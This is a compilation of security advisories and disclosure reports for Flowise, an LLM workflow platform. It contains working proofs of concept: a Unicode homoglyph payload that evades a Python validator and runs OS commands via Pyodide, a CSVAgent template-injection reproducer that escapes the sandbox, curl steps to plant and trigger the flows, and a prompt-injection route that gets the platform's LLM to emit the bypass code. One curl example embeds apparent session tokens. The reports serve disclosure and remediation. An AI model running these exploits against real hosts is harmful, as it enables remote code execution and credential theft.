See how flowise compares to other vendors in security performance
Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.
Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.
Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.
Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.readjson() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.
Flowise before 3.1.3 contains a code injection vulnerability in the Airtable Agent node that allows unauthenticated attackers to execute arbitrary Python code by bypassing the pythonCodeValidator blocklist through obfuscation techniques. Attackers can send crafted prompts to a chatflow using the Airtable Agent node to inject malicious Python code that executes in an unsandboxed pyodide environment with full access to the host operating system.
Flowise versions 2.2.4 through 3.1.4 contain a missing authorization vulnerability in the POST /api/v1/openai-assistants-file/download endpoint that allows unauthenticated attackers to access private files by exploiting the endpoint's inclusion in the global authentication whitelist, which bypasses all session and API key verification. Attackers can supply valid chatflowId, chatId, and fileName identifiers to retrieve files from any chatflow on the instance, including private chatflows belonging to other workspaces or organizations.
Flowise through 3.1.4 contains a server-side request forgery vulnerability in the SSRF guard implemented in httpSecurity.ts, where the DEFAULTDENYLIST omits the Oracle Cloud Infrastructure metadata endpoint 192.0.0.192 and the Alibaba Cloud metadata endpoint 100.100.100.200, allowing authenticated attackers to force the server to issue arbitrary GET requests to cloud instance metadata services. Attackers can send requests to the fetch-links API endpoint with a crafted URL parameter, bypassing deny-list validation including redirect-based bypasses, to reach instance metadata services and expose instance identity data and role credentials on Oracle Cloud Infrastructure or Alibaba Cloud deployments, with unauthenticated access possible when URL-fetching nodes exist in public chatflows.
Flowise through 3.1.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to access the OAuth2 credential refresh endpoint by exploiting prefix-based whitelist matching in the authentication middleware defined in packages/server/src/utils/constants.ts. Attackers can send a POST request to the oauth2-credential refresh route with a trailing credential identifier to bypass all authentication and authorization checks, triggering unauthorized OAuth token rotation against credentials belonging to any workspace and potentially disrupting dependent OAuth integrations. This is a bypass of CVE-2026-41273.
Summary The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.
Details - Affected endpoint: GET /api/v1/upsert-history - Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient: - Authorization checks (RBAC/user-based access control) - Data scoping (workspace/project/tenant isolation) - Pagination/limits (excessive data exposure and very large responses) - Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response: json { "label": "Qdrant", "name": "qdrant", "category": "Vector Stores", "id": "qdrant0", "paramValues": [ { "label": "Qdrant Server URL", "name": "qdrantServerUrl", "type": "string", "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io" }, { "label": "Qdrant Collection Name", "name": "qdrantCollection", "type": "string", "value": "fair-herring-azure" }, { "label": "Vector Dimension", "name": "qdrantVectorDimension", "type": "number", "value": 1536 }, { "label": "Content Key", "name": "contentPayloadKey", "type": "string", "value": "content" }, { "label": "Metadata Key", "name": "metadataPayloadKey", "type": "string", "value": "metadata" }, { "label": "Similarity", "name": "qdrantSimilarity", "type": "options", "value": "Cosine" } ] }
POC
1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history curl 'https://cloud.flowiseai.com/api/v1/upsert-history' -X GET -H 'Host: cloud.flowiseai.com' -H 'Accept: application/json, text/plain, /' -H 'Accept-Language: en-US,en;q=0.9' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:147.0) Gecko/20100101 Firefox/147.0' -H 'X-Request-From: internal' -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819' -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"' -H 'Connection: keep-alive' -H 'Cookie: gaDG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; ga=GA1.1.938844242.1773632276; cfclearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VMh9p0xICarIdDdB0hWfriItN1qbu00tqEmDgEv2biNpNETXF3nC0wByJmhNWOcSh95lBdQ5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; cfbm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4fQpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2seXblq8rTh8' --compressed -sS -o resp.json 2. Verify the response size (expected: very large, e.g., >100MB) ls -lh resp.json
Impact - Vulnerability type: Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping) - Who is impacted: All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history - Security consequences: - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks - Leakage of internal schema/pipeline details (e.g., content/metadata keys) - Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)
Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
ts { pattern: /\bimport\b/g, ... }, { pattern: /\bclass\b/g, ... }, { pattern: /\bsubclasses\s\(/g, ... }, { pattern: /\bbuiltins\b/g, ... }, { pattern: /\bmro\b/g, ... }, // ... about 30 similar rules
Two design flaws combine into a bypass:
1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \bclass\b never matches cl𝐚ss. 2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. cl𝐚ss, subcl𝐚sses, b𝐚se, b𝐮iltins, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.cl𝐚ss is normalized because attribute names are identifiers. Dict string keys such as bi['import'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \bimport\s\(/.
From inside Pyodide, builtins'import' yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('childprocess').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites: - packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
js // npm install pyodide const { loadPyodide } = require('pyodide')
const FORBIDDENPATTERNS = [ { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g }, { pattern: /\beval\s\(/g }, { pattern: /\bexec\s\(/g }, { pattern: /\bcompile\s\(/g }, { pattern: /\bimport\s\(/g }, { pattern: /\bopen\s\(/g }, { pattern: /\bgetattr\s\(/g }, { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g }, { pattern: /\bsys\./g }, { pattern: /\bsocket\./g }, { pattern: /\burllib\./g }, { pattern: /\brequests\./g }, { pattern: /\bbuiltins\b/g }, { pattern: /\bclass\b/g }, { pattern: /\bsubclasses\s\(/g }, { pattern: /\bbases\b/g }, { pattern: /\bmro\b/g }, { pattern: /\bglobals\b/g }, { pattern: /\bcode\b/g }, { pattern: /\bdict\b/g }, ] const validate = (code) => FORBIDDENPATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = cls = ().cl\u{1D41A}ss base = cls.b\u{1D41A}se subs = base.subcl\u{1D41A}sses() for c in subs: if c.name == 'catchwarnings': cw = c() bi = cw.module.b\u{1D42E}iltins impname = chr(95)2 + 'imp' + 'ort' + chr(95)2 imp = bi[impname] jsmod = imp(chr(106)+chr(115)) cpname = 'child' + chr(95) + 'process' cp = jsmod.process.mainModule.require(cpname) opts = jsmod.Object.new(); opts.encoding = 'utf8' result = cp.execSync('id && hostname && echo FLOWISERCECONFIRMED', opts) break str(result)
;(async () => { console.log('validator passes:', validate(payload)) // true const py = await loadPyodide() console.log(await py.runPythonAsync(payload)) })()
Run output on a stock host:
validator passes: true uid=0(root) gid=0(root) groups=0(root) <hostname> FLOWISERCECONFIRMED
Live path against a Flowise deployment: 1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSVAgent or AirtableAgent. 2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for class, subclasses, base, and builtins, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. 3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.
Impact Any user able to reach a chatflow that uses CSVAgent or AirtableAgent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.
Summary Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, childprocess, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template.
A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on , and using two pop() calls (lines 127–138):
ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] }
for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } }
The captured base64String is then interpolated verbatim into a Python source string at lines 156–171:
ts const code = import pandas as pd import base64 from io import StringIO import json
base64string = "${base64String}" // ← line 161: interpolation sink
decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8'))
df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
- validateCustomReadCSVFunction(customReadCSVFunc) runs on line 147, but this only validates the customReadCSV field, not base64String. - validatePythonCodeForDataFrame(pythonCode) runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template. - No content check (^[A-Za-z0-9+/=]$) is applied to base64String before interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts, lines 7–16):
ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance }
Pyodide is loaded with default options. On Node.js, the default js module inside Pyodide bridges to globalThis, exposing the JS eval function and top-level dynamic import(). From injected Python, the attacker runs:
python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" )
…which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting await import('childprocess') for await import('fs') yields arbitrary OS-command execution via cp.execSync(...) with the same primitive.
Node-version note. The original PoC for this issue used js.process.mainModule.require("childprocess"), which is a one-liner but only works on Node ≤ 13 because process.mainModule was deprecated and now returns undefined on Node 14+. The js.eval + dynamic-import() form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stock flowise@3.1.2 running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in WHITELISTURLS (packages/server/src/utils/constants.ts:12); when the chatflow has no apikeyid set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates CSVAgent, and executes the malicious bootstrap.
PoC
Verified end-to-end on the cloned repo (commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit was based on).
Reproducer setup
Two files. Save the first as package.json, the second as reproa1pyodide.js, then npm install && node reproa1pyodide.js in the same directory.
package.json:
json { "name": "poc-flowise-s1", "version": "1.0.0", "type": "commonjs", "dependencies": { "pyodide": "^0.29.3" } }
reproa1pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI parser) and :156-171 (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side split(',').
js // Full host-RCE PoC for Flowise CSVAgent base64-injection. // // Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs // the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled // csvFile data URI. Demonstrates: // 1. JS-side template-literal interpolation produces malicious Python // 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path) // 3. Pyodide-on-Node js bridge reaches Node's fs module via dynamic // import('fs') -> host file write // // CONSTRAINTS: // csvFile is split on , by the agent (CSVAgent.ts:135-137) — segment[2] // of the data URI is what becomes base64string, so this segment must // contain NO raw , bytes. // Inside a Python double-quoted string literal, , is the escape // for ,. The data-URI parser sees the 6 raw bytes \, u, 0, 0, // 2, c (no commas), but Python's lexer turns them into commas at // runtime — letting us pass multiple arguments to JS functions inside // the Python source. // // NODE-VERSION NOTE: an earlier revision of this PoC used // cp = js.process.mainModule.require("childprocess"); cp.execSync(...) // which is shorter but only works on Node ≤ 13 — process.mainModule was // deprecated and now returns undefined on Node 14+, so the inner // .require(...) silently no-ops. The js.eval + dynamic-import() form // below works on any Node 13.2+ in both CommonJS and ESM contexts and was // confirmed end-to-end against flowise@3.1.2 running on Node 20.20.2.
const fs = require('fs') const path = require('path') const { loadPyodide } = require('pyodide')
const proofName = 'flowisea1pyodideproof.txt' const proofPath = path.resolve(dirname, proofName) const proofMarker = 'FLOWISEA1HOSTRCEviapyodidedynamicimport'
// --- Attacker payload (Python; comma-free) ---------------------------------- // Closes the base64string = " literal with ";, runs malicious Python, // then # comments out the surviving closing " so the rest of the // bootstrap template still parses. const pythonInjection = '";\n' + 'import js\n' + await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n + '#'
// Sanity: any commas would fragment the injection on the JS side. if (pythonInjection.includes(',')) { throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")') }
const csvFile = data:text/csv;base64,A,${pythonInjection},IGNORED
// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------ const csvFileBase64 = csvFile const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64] let base64String = '' for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() base64String += splitDataURI.pop() ?? '' }
// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------ // We omit import pandas as pd so we don't need to load pandas (~30 MB) just // to demonstrate the injection. The real flow's pyodide instance preloads // pandas via LoadPyodide() (core.ts:12). The injection point and validator // bypass are identical either way. const code = import base64 from io import StringIO import json
base64string = "${base64String}"
decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) print("post-injection bootstrap continued; base64string =", repr(base64string))
console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---') console.log(code) console.log('--- end ---\n')
;(async () => { try { fs.unlinkSync(proofPath) } catch {}
console.log('[] Loading pyodide...') const pyodide = await loadPyodide() console.log('[] Pyodide loaded; running attacker-assembled Python...\n')
try { await pyodide.runPythonAsync(code) } catch (e) { console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):') console.log(String(e).split('\n').slice(0, 8).join('\n')) }
// give the spawned writeFileSync a moment to flush await new Promise((r) => setTimeout(r, 500))
console.log('\n--- Proof file at ' + proofPath + ' ---') if (fs.existsSync(proofPath)) { console.log(fs.readFileSync(proofPath, 'utf-8').trim()) console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.') } else { console.log('[-] Proof file not present.') } })()
What gets assembled
After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):
python import base64 from io import StringIO import json
base64string = ""; import js await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowisea1pyodideproof.txt', 'FLOWISEA1HOSTRCEviapyodidedynamicimport'); })()") #"
decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) ...
The "; closes line 161's string literal; the injected statements execute (awaiting the JS Promise that writes the proof file); the trailing # comments out the dangling " so the rest of the bootstrap parses. The remaining b64decode("") returns b'' and pd.readcsv (in the live template) then raises pandas.errors.EmptyDataError, but the fs.writeFileSync(...) call has already fired in the Node host.
Observed output (after deleting any prior proof file)
[] Loading pyodide... [] Pyodide loaded; running attacker-assembled Python...
--- Proof file at .../flowisea1pyodideproof.txt --- FLOWISEA1HOSTRCEviapyodidedynamicimport
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.
The proof file flowisea1pyodideproof.txt is written by the Node host process via the Pyodide js bridge → js.eval(...) → (await import('fs')).writeFileSync(...), confirming the escape from the Pyodide WASM sandbox. The standalone repro omits import pandas, so no post-injection exception is raised — but the live template (pandas.readcsv on the empty buffer) throws pandas.errors.EmptyDataError after the host write has already happened, which is exactly the symptom an operator sees in the chat panel.
Verified end-to-end against live Flowise
The standalone repro above proves the validator-bypass + sandbox-escape primitive in isolation. The same payload was additionally verified against a stock flowise@3.1.2 install on Node 20.20.2:
| Step | Action | |---|---| | 1 | npm install -g flowise (Node 20.20.2, Linux x64) | | 2 | flowise start → bind on :3000 | | 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) | | 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) | | 5 | Open the chatflow → click chat → send any message | | 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file | | 7 | /home/<user>/flowisea1proof.txt is now present, 46 bytes, content FLOWISEA1HOSTRCEviapyodidedynamicimport, owner-uid matches the Flowise process uid |
Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js, test-flow.js, the captured evidence-bundle.txt) live at pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json template with three minimal edits — the malicious csvFile data URI on csvAgent0, a placeholder credential on chatOpenAI0, and the sticky note removed — so it imports cleanly into any Flowise 3.x without the reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw when handed a hand-crafted minimal flow.
End-to-end against a live Flowise instance
The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:
bash Step 1 — authenticated chatflow author (any user with chatflows:create in OSS, this is typically every registered user) plants the flow. evil-csvagent-flow.json is a chatflow whose csvAgent node has inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED" curl -X POST https://target/api/v1/chatflows \ -H "Authorization: Bearer <api-key with chatflows:create>" \ -H "Content-Type: application/json" \ -d @evil-csvagent-flow.json → returns chatflow id, e.g. "<flow-uuid>"
Step 2 — anyone, no auth (the route is whitelisted at packages/server/src/utils/constants.ts:12) triggers execution: curl -X POST https://target/api/v1/prediction/<flow-uuid> \ -H "Content-Type: application/json" \ -d '{"question":"go"}'
Step 1 is the only authenticated step; Step 2 is unauthenticated when chatflow.apikeyid is unset (the default for newly created chatflows).
Impact
- Class: Remote Code Execution via Python-template injection escaping the Pyodide sandbox through the js bridge. - Affected: every Flowise deployment that exposes a chatflow containing a CSVAgent node where csvFile is operator-supplied (i.e., overridable via nodeOverrides for the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with chatflows:create / chatflows:update / agentflows:create / agentflows:update to plant the chatflow once. The trigger is unauthenticated when the chatflow has no apikeyid set (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.
Metadata
- Affected versions: Confirmed at commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d (main, 2026-04-28) and at flowise@3.1.2. The vulnerable code (splitDataURI.pop() + template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit. - CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H → Base score 9.9 (Critical). - AV:N — public /api/v1/prediction/:id trigger. - AC:L — deterministic; no race / timing. - PR:L — one user with chatflows:create (or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time. - S:C — Pyodide's WASM/Python sandbox is the intended security authority for this code path; the js bridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise. - CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').
Remediation
Maintainer fix (preferred — eliminates string-interpolation entirely): pass the base64 value through Pyodide's globals.set API instead of template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts, replace the construction at lines 156–171 with something like:
ts const pyodide = await LoadPyodide() pyodide.globals.set('base64string', base64String) const code = import pandas as pd import base64 from io import StringIO import json
decodeddata = base64.b64decode(base64string)
csvdata = StringIO(decodeddata.decode('utf-8'))
df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code)
This keeps the value as a Python str object that never enters the source text. Apply the same change to AirtableAgent.ts if it follows the same pattern.
Defense in depth (recommended as well): 1. Validate base64String against ^[A-Za-z0-9+/=]$ before interpolation (rejects every escape character used in the PoC). 2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} }) or the js-module-removal recipe; either prevents the bridge to globalThis.process on Node.js. Apply in packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide. 3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the bootstrap template, not only over the LLM-emitted code. The current ordering inverts the trust assumption. 4. Add a positive allow-list to validateCustomReadCSVFunction enumerating only safe pandas readers (e.g., readcsv and column-typed forms); exclude readpickle, readhtml, readxml, readparquet, readorc, readfeather, readjson (these are independently exploitable — see S2/S3 in the submission roadmap).
User mitigations until a patch ships: - Set chatflow.apikeyid on every chatflow that uses CSVAgent so validateFlowAPIKey enforces auth on /api/v1/prediction/:id. - Set chatbotConfig.allowedOrigins to a strict list (note: this only defends against browser callers, not curl/server-side). - Restrict chatflows:create / agentflows:create permissions to trusted users only. - Where possible, strip csvFile from the nodeOverrides allow-list on affected chatflows so it cannot be supplied at prediction time.
Summary
The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npmconfig environment variables. Setting npmconfigyes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.
This works with the MCP security check enabled (CUSTOMMCPSECURITYCHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.
Root cause
The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.
Affected version
Flowise 3.1.1, current as of 2026-03-29.
Details
Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.
validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.
The gap is in validateEnvironmentVariables:
typescript export const validateEnvironmentVariables = (env: Record<string, any>): void => { const dangerousEnvVars = ['PATH', 'LDLIBRARYPATH', 'DYLDLIBRARYPATH', 'NODEOPTIONS'] for (const [key, value] of Object.entries(env)) { if (dangerousEnvVars.includes(key)) { throw new Error(Environment variable '${key}' modification is not allowed) } if (typeof value === 'string' && value.includes('\0')) { throw new Error(Environment variable '${key}' contains null byte) } } }
The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npmconfigyes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.
